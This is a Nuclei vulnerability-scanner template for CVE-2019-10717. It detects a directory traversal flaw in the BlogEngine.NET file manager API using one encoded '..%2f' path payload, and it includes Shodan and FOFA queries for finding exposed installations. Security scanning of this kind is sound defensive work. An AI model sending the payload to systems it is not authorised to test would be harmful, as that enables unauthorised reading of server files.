id: CVE-2019-10717

info:
  name: BlogEngine.NET 3.3.7.0 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to a patched version of BlogEngine.NET or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect
    - https://github.com/rxtur/BlogEngine.NET/commits/master
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10717
    - http://seclists.org/fulldisclosure/2019/Jun/44
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2019-10717
    cwe-id: CWE-22
    epss-score: 0.05399
    epss-percentile: 0.91647
    cpe: cpe:2.3:a:dotnetblogengine:blogengine.net:3.3.7.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dotnetblogengine
    product: blogengine.net
    shodan-query:
      - http.html:"Blogengine.net"
      - http.html:"blogengine.net"
    fofa-query: body="blogengine.net"
  tags: cve,cve2019,seclists,blogengine,lfi,traversal,dotnetblogengine,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        regex:
          - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)'

      - type: status
        status:
          - 200
# digest: 4a0a004730450221009eaba9a1b86ced5eaa8e9b47c42bd6dada02d5a002e45967d488199539a8a33d02201030a222b78ebfd1b3d9d610b49071598ccaee3a45c7dc02c2dcd8784fc9bc61:922c64590222798bb761d5b6d8e72950